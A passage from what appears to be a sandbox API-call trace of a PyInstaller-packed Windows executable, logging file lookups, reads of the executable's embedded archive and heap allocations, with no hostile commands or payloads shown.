lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pkg_resources\\extern", lpFilePart=0x9ba350*="extern") returned 0x40 [0075.022] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pkg_resources", lpFindFileData=0x9ba3b8 | out: lpFindFileData=0x9ba3b8*(dwFileAttributes=0x29ef3f0, ftCreationTime.dwLowDateTime=0x30d5f70, ftCreationTime.dwHighDateTime=0x2a72740, ftLastAccessTime.dwLowDateTime=0x7f, ftLastAccessTime.dwHighDateTime=0xbfcb6d5c, ftLastWriteTime.dwLowDateTime=0x9ba3e8, ftLastWriteTime.dwHighDateTime=0x72fbb915, nFileSizeHigh=0x9ba3fc, nFileSizeLow=0x73013d47, dwReserved0=0x9ba3f4, dwReserved1=0x0, cFileName="\xdc\xa4\x9b", cAlternateFileName="")) returned 0xffffffff [0075.022] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pkg_resources", nBufferLength=0x104, lpBuffer=0x9ba4f8, lpFilePart=0x9ba350 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pkg_resources", lpFilePart=0x9ba350*="pkg_resources") returned 0x39 [0075.022] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1", lpFindFileData=0x9ba3b8 | out: lpFindFileData=0x9ba3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd4b7ceb, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xe2f4b867, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xe2f4b867, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff8de, dwReserved1=0xffffffe9, cFileName="_MEI11842", cAlternateFileName="_MEI11~1")) returned 0x10557a0 [0075.022] FileTimeToLocalFileTime (in: lpFileTime=0x9ba3cc, lpLocalFileTime=0x9ba39c | out: lpLocalFileTime=0x9ba39c) returned 1 [0075.022] FileTimeToSystemTime (in: lpFileTime=0x9ba39c, lpSystemTime=0x9ba3a4 | out: lpSystemTime=0x9ba3a4) returned 1 [0075.022] FileTimeToLocalFileTime (in: lpFileTime=0x9ba3c4, lpLocalFileTime=0x9ba39c | out: lpLocalFileTime=0x9ba39c) returned 1 [0075.022] FileTimeToSystemTime (in: lpFileTime=0x9ba39c, lpSystemTime=0x9ba3a4 | out: lpSystemTime=0x9ba3a4) returned 1 [0075.022] FileTimeToLocalFileTime (in: lpFileTime=0x9ba3bc, lpLocalFileTime=0x9ba39c | out: lpLocalFileTime=0x9ba39c) returned 1 [0075.022] FileTimeToSystemTime (in: lpFileTime=0x9ba39c, lpSystemTime=0x9ba3a4 | out: lpSystemTime=0x9ba3a4) returned 1 [0075.022] FindClose (in: hFindFile=0x10557a0 | out: hFindFile=0x10557a0) returned 1 [0075.022] GetLastError () returned 0x2 [0075.022] GetCurrentThreadId () returned 0x9b0 [0075.022] GetCurrentThreadId () returned 0x9b0 [0075.022] GetCurrentThreadId () returned 0x9b0 [0075.023] GetCurrentThreadId () returned 0x9b0 [0075.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0075.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0075.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.023] GetCurrentThreadId () returned 0x9b0 [0075.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fb5d0 [0075.023] GetCurrentThreadId () returned 0x9b0 [0075.023] GetCurrentThreadId () returned 0x9b0 [0075.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0075.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0075.023] GetCurrentThreadId () returned 0x9b0 [0075.023] GetCurrentThreadId () returned 0x9b0 [0075.023] GetCurrentThreadId () returned 0x9b0 [0075.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.023] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab8ce8, Size=0x18) returned 0x2ab8ce8 [0075.023] GetCurrentThreadId () returned 0x9b0 [0075.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.023] GetCurrentThreadId () returned 0x9b0 [0075.023] GetCurrentThreadId () returned 0x9b0 [0075.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afd0 [0075.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0075.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afd0 | out: hHeap=0x2ad0000) returned 1 [0075.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0075.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0075.024] GetCurrentThreadId () returned 0x9b0 [0075.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0075.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.024] GetCurrentThreadId () returned 0x9b0 [0075.024] GetCurrentThreadId () returned 0x9b0 [0075.024] GetCurrentThreadId () returned 0x9b0 [0075.024] GetCurrentThreadId () returned 0x9b0 [0075.024] GetCurrentThreadId () returned 0x9b0 [0075.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.024] GetCurrentThreadId () returned 0x9b0 [0075.024] GetCurrentThreadId () returned 0x9b0 [0075.024] GetLastError () returned 0x2 [0075.024] GetLastError () returned 0x2 [0075.024] GetLastError () returned 0x2 [0075.024] GetLastError () returned 0x2 [0075.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0075.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8af60 [0075.025] GetLastError () returned 0x2 [0075.025] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9fe0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d8 [0075.025] GetFileType (hFile=0x2d8) returned 0x1 [0075.025] GetLastError () returned 0x0 [0075.025] GetCurrentThreadId () returned 0x9b0 [0075.025] GetLastError () returned 0x0 [0075.025] GetFileType (hFile=0x2d8) returned 0x1 [0075.025] GetFileInformationByHandle (in: hFile=0x2d8, lpFileInformation=0x9ba05c | out: lpFileInformation=0x9ba05c) returned 1 [0075.025] FileTimeToLocalFileTime (in: lpFileTime=0x9ba070, lpLocalFileTime=0x9ba0a0 | out: lpLocalFileTime=0x9ba0a0) returned 1 [0075.025] FileTimeToSystemTime (in: lpFileTime=0x9ba0a0, lpSystemTime=0x9ba090 | out: lpSystemTime=0x9ba090) returned 1 [0075.025] FileTimeToLocalFileTime (in: lpFileTime=0x9ba068, lpLocalFileTime=0x9ba0a0 | out: lpLocalFileTime=0x9ba0a0) returned 1 [0075.025] FileTimeToSystemTime (in: lpFileTime=0x9ba0a0, lpSystemTime=0x9ba090 | out: lpSystemTime=0x9ba090) returned 1 [0075.025] FileTimeToLocalFileTime (in: lpFileTime=0x9ba060, lpLocalFileTime=0x9ba0a0 | out: lpLocalFileTime=0x9ba0a0) returned 1 [0075.025] FileTimeToSystemTime (in: lpFileTime=0x9ba0a0, lpSystemTime=0x9ba090 | out: lpSystemTime=0x9ba090) returned 1 [0075.025] GetLastError () returned 0x0 [0075.025] GetCurrentThreadId () returned 0x9b0 [0075.025] GetLastError () returned 0x0 [0075.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af60 | out: hHeap=0x2ad0000) returned 1 [0075.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20228 | out: hHeap=0x2ad0000) returned 1 [0075.026] GetLastError () returned 0x0 [0075.026] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8150541, lpDistanceToMoveHigh=0x9ba110*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba110*=0) returned 0x7c5e0d [0075.026] GetLastError () returned 0x0 [0075.026] GetCurrentThreadId () returned 0x9b0 [0075.026] GetLastError () returned 0x0 [0075.026] GetCurrentThreadId () returned 0x9b0 [0075.026] GetLastError () returned 0x0 [0075.026] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8042865, lpDistanceToMoveHigh=0x9ba4a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba4a8*=0) returned 0x7ab971 [0075.026] GetLastError () returned 0x0 [0075.026] GetCurrentThreadId () returned 0x9b0 [0075.026] GetLastError () returned 0x0 [0075.026] GetCurrentThreadId () returned 0x9b0 [0075.027] GetLastError () returned 0x0 [0075.027] ReadFile (in: hFile=0x2d8, lpBuffer=0x2cc34d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba45c, lpOverlapped=0x0 | out: lpBuffer=0x2cc34d0*, lpNumberOfBytesRead=0x9ba45c*=0x1000, lpOverlapped=0x0) returned 1 [0075.027] GetLastError () returned 0x0 [0075.027] GetCurrentThreadId () returned 0x9b0 [0075.027] GetLastError () returned 0x0 [0075.027] GetCurrentThreadId () returned 0x9b0 [0075.027] GetLastError () returned 0x0 [0075.027] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b9134*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b9134*=0) returned 0x7ac971 [0075.027] GetLastError () returned 0x0 [0075.027] GetCurrentThreadId () returned 0x9b0 [0075.027] GetLastError () returned 0x0 [0075.027] GetLastError () returned 0x0 [0075.027] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc34d0 | out: hHeap=0x2ad0000) returned 1 [0075.027] CloseHandle (hObject=0x2d8) returned 1 [0075.027] GetLastError () returned 0x0 [0075.027] GetCurrentThreadId () returned 0x9b0 [0075.027] GetLastError () returned 0x0 [0075.027] GetCurrentThreadId () returned 0x9b0 [0075.027] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x3034ed8 [0075.028] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x3036ab0 [0075.028] GetLastError () returned 0x0 [0075.028] GetCurrentThreadId () returned 0x9b0 [0075.028] GetLastError () returned 0x0 [0075.028] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3034ed8 | out: hHeap=0x2ad0000) returned 1 [0075.028] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3036ab0, Size=0x93) returned 0x3036ab0 [0075.028] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0075.028] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0075.028] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3036ab0 | out: hHeap=0x2ad0000) returned 1 [0075.028] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x138) returned 0x2cbc4b8 [0075.028] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc4b8 | out: hHeap=0x2ad0000) returned 1 [0075.028] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b040 [0075.028] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fa808 [0075.028] GetCurrentThreadId () returned 0x9b0 [0075.028] GetCurrentThreadId () returned 0x9b0 [0075.028] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0075.028] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0075.028] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0075.028] GetCurrentThreadId () returned 0x9b0 [0075.028] GetCurrentThreadId () returned 0x9b0 [0075.028] GetCurrentThreadId () returned 0x9b0 [0075.029] GetCurrentThreadId () returned 0x9b0 [0075.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0075.029] GetCurrentThreadId () returned 0x9b0 [0075.029] GetCurrentThreadId () returned 0x9b0 [0075.029] GetLastError () returned 0x0 [0075.029] GetLastError () returned 0x0 [0075.029] GetLastError () returned 0x0 [0075.029] GetLastError () returned 0x0 [0075.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0075.029] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8af60 [0075.029] GetLastError () returned 0x0 [0075.029] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9fe0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d8 [0075.029] GetFileType (hFile=0x2d8) returned 0x1 [0075.029] GetLastError () returned 0x0 [0075.029] GetCurrentThreadId () returned 0x9b0 [0075.029] GetLastError () returned 0x0 [0075.029] GetFileType (hFile=0x2d8) returned 0x1 [0075.029] GetFileInformationByHandle (in: hFile=0x2d8, lpFileInformation=0x9ba05c | out: lpFileInformation=0x9ba05c) returned 1 [0075.029] FileTimeToLocalFileTime (in: lpFileTime=0x9ba070, lpLocalFileTime=0x9ba0a0 | out: lpLocalFileTime=0x9ba0a0) returned 1 [0075.030] FileTimeToSystemTime (in: lpFileTime=0x9ba0a0, lpSystemTime=0x9ba090 | out: lpSystemTime=0x9ba090) returned 1 [0075.030] FileTimeToLocalFileTime (in: lpFileTime=0x9ba068, lpLocalFileTime=0x9ba0a0 | out: lpLocalFileTime=0x9ba0a0) returned 1 [0075.030] FileTimeToSystemTime (in: lpFileTime=0x9ba0a0, lpSystemTime=0x9ba090 | out: lpSystemTime=0x9ba090) returned 1 [0075.030] FileTimeToLocalFileTime (in: lpFileTime=0x9ba060, lpLocalFileTime=0x9ba0a0 | out: lpLocalFileTime=0x9ba0a0) returned 1 [0075.030] FileTimeToSystemTime (in: lpFileTime=0x9ba0a0, lpSystemTime=0x9ba090 | out: lpSystemTime=0x9ba090) returned 1 [0075.030] GetLastError () returned 0x0 [0075.030] GetCurrentThreadId () returned 0x9b0 [0075.030] GetLastError () returned 0x0 [0075.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af60 | out: hHeap=0x2ad0000) returned 1 [0075.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fef8 | out: hHeap=0x2ad0000) returned 1 [0075.030] GetLastError () returned 0x0 [0075.030] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8042963, lpDistanceToMoveHigh=0x9ba110*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba110*=0) returned 0x7ab9d3 [0075.030] GetLastError () returned 0x0 [0075.030] GetCurrentThreadId () returned 0x9b0 [0075.030] GetLastError () returned 0x0 [0075.030] GetCurrentThreadId () returned 0x9b0 [0075.030] GetLastError () returned 0x0 [0075.030] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8138836, lpDistanceToMoveHigh=0x9ba4a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba4a8*=0) returned 0x7c3054 [0075.030] GetLastError () returned 0x0 [0075.030] GetCurrentThreadId () returned 0x9b0 [0075.030] GetLastError () returned 0x0 [0075.031] GetCurrentThreadId () returned 0x9b0 [0075.031] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28c1) returned 0x3034ed8 [0075.031] GetLastError () returned 0x0 [0075.031] ReadFile (in: hFile=0x2d8, lpBuffer=0x3034eec, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x9ba470, lpOverlapped=0x0 | out: lpBuffer=0x3034eec*, lpNumberOfBytesRead=0x9ba470*=0x2000, lpOverlapped=0x0) returned 1 [0075.031] ReadFile (in: hFile=0x2d8, lpBuffer=0x2cc54e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba45c, lpOverlapped=0x0 | out: lpBuffer=0x2cc54e0*, lpNumberOfBytesRead=0x9ba45c*=0x1000, lpOverlapped=0x0) returned 1 [0075.031] GetLastError () returned 0x0 [0075.031] GetCurrentThreadId () returned 0x9b0 [0075.031] GetLastError () returned 0x0 [0075.031] GetCurrentThreadId () returned 0x9b0 [0075.031] GetCurrentThreadId () returned 0x9b0 [0075.031] GetLastError () returned 0x0 [0075.031] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b9134*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b9134*=0) returned 0x7c6054 [0075.031] GetLastError () returned 0x0 [0075.031] GetCurrentThreadId () returned 0x9b0 [0075.031] GetLastError () returned 0x0 [0075.031] GetLastError () returned 0x0 [0075.031] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc54e0 | out: hHeap=0x2ad0000) returned 1 [0075.031] CloseHandle (hObject=0x2d8) returned 1 [0075.032] GetLastError () returned 0x0 [0075.032] GetCurrentThreadId () returned 0x9b0 [0075.032] GetLastError () returned 0x0 [0075.032] GetLastError () returned 0x0 [0075.032] GetCurrentThreadId () returned 0x9b0 [0075.032] GetLastError () returned 0x0 [0075.033] GetLastError () returned 0x0 [0075.033] GetCurrentThreadId () returned 0x9b0 [0075.033] GetLastError () returned 0x0 [0075.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3181810 | out: hHeap=0x2ad0000) returned 1 [0075.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30377a8 | out: hHeap=0x2ad0000) returned 1 [0075.033] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3189818, Size=0x769e) returned 0x3189818 [0075.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3034ed8 | out: hHeap=0x2ad0000) returned 1 [0075.033] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1260) returned 0x3034ed8 [0075.033] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5cc) returned 0x3026050 [0075.033] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0075.033] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8100, Size=0x20) returned 0x2a1fb00 [0075.033] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb00, Size=0x40) returned 0x2a19130 [0075.033] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19130, Size=0x64) returned 0x2a19968 [0075.033] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19968, Size=0x8c) returned 0x2ac0ca0 [0075.033] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0ca0, Size=0xb8) returned 0x30291c8 [0075.033] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30291c8, Size=0xe8) returned 0x2ac8ea0 [0075.034] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac8ea0, Size=0x120) returned 0x2c374c0 [0075.034] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c374c0, Size=0x160) returned 0x2cb68a8 [0075.034] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb68a8, Size=0x1a8) returned 0x2cb7fd0 [0075.034] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb7fd0, Size=0x1f8) returned 0x2c2ff88 [0075.034] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2ff88, Size=0x250) returned 0x2ac4228 [0075.034] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac4228, Size=0x2b4) returned 0x2c2d250 [0075.034] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2d250, Size=0x324) returned 0x2babfb8 [0075.034] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2babfb8, Size=0x3a4) returned 0x2cb6ec0 [0075.034] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb6ec0, Size=0x434) returned 0x3026bc8 [0075.034] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3026bc8, Size=0x4d4) returned 0x3026bc8 [0075.034] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3026bc8, Size=0x588) returned 0x3026bc8 [0075.034] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3026bc8, Size=0x654) returned 0x3026bc8 [0075.034] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3026bc8, Size=0x738) returned 0x3026bc8 [0075.034] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x268) returned 0x2cb6ec0 [0075.034] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3026bc8, Size=0x838) returned 0x30fcdd8 [0075.034] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2df) returned 0x3026bc8 [0075.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fcdd8 | out: hHeap=0x2ad0000) returned 1 [0075.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3189818 | out: hHeap=0x2ad0000) returned 1 [0075.034] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af60 [0075.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af60 | out: hHeap=0x2ad0000) returned 1 [0075.034] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30f9d50 [0075.034] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x250) returned 0x2ac3fc0 [0075.035] GetCurrentThreadId () returned 0x9b0 [0075.035] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.035] GetCurrentThreadId () returned 0x9b0 [0075.035] GetCurrentThreadId () returned 0x9b0 [0075.035] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.035] GetCurrentThreadId () returned 0x9b0 [0075.035] GetCurrentThreadId () returned 0x9b0 [0075.035] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0075.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0075.035] GetCurrentThreadId () returned 0x9b0 [0075.035] GetCurrentThreadId () returned 0x9b0 [0075.035] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0075.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0075.035] GetCurrentThreadId () returned 0x9b0 [0075.035] GetCurrentThreadId () returned 0x9b0 [0075.035] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.035] GetCurrentThreadId () returned 0x9b0 [0075.035] GetCurrentThreadId () returned 0x9b0 [0075.035] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.035] GetCurrentThreadId () returned 0x9b0 [0075.036] GetCurrentThreadId () returned 0x9b0 [0075.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x3031758 [0075.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30f9d50 | out: hHeap=0x2ad0000) returned 1 [0075.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0075.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8148 [0075.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0075.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af60 [0075.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afd0 [0075.036] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8af60, Size=0x14) returned 0x2a71580 [0075.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afd0 | out: hHeap=0x2ad0000) returned 1 [0075.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0075.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8148 | out: hHeap=0x2ad0000) returned 1 [0075.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0075.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0075.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afd0 [0075.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0075.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8148 [0075.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af60 [0075.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0075.036] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8af60, Size=0x14) returned 0x2a71580 [0075.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0075.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8148 | out: hHeap=0x2ad0000) returned 1 [0075.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0075.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afd0 | out: hHeap=0x2ad0000) returned 1 [0075.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0075.037] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fb758 [0075.037] RtlAllocateHeap 